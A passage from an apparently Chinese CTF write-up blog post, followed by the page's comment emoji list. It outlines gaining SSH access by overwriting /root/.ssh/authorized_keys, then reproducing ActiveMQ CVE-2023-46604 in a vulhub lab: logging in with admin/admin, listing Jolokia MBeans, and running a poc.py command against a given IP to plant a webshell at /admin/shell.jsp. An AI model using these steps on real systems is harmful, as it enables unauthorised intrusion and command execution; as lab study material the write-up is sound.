 https://binux.github.io/yaaw/demo/#
 http://token:[email protected]:6800/jsonrpc

(没连上,寄)

之后覆盖/root/.ssh/authorized_keys

公钥登录得到第二个flag

Reverse and Escalation.

无环境,采用vulhub复现对应CVE:CVE-2023-46604

使用弱密码admin/admin登录进入网站

可以找到版本信息5.17.3

image-20240308163223888

访问/api/jolokia/list查看当前服务器里所有的MBeans

使用执行poc脚本写webshell

 python3 poc.py -u admin -p admin http://175.178.29.101:8161

image-20240308165836900

提示webshell成功写在了/admin/shell.jsp

访问即可达到命令执行

image-20240308170047530

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇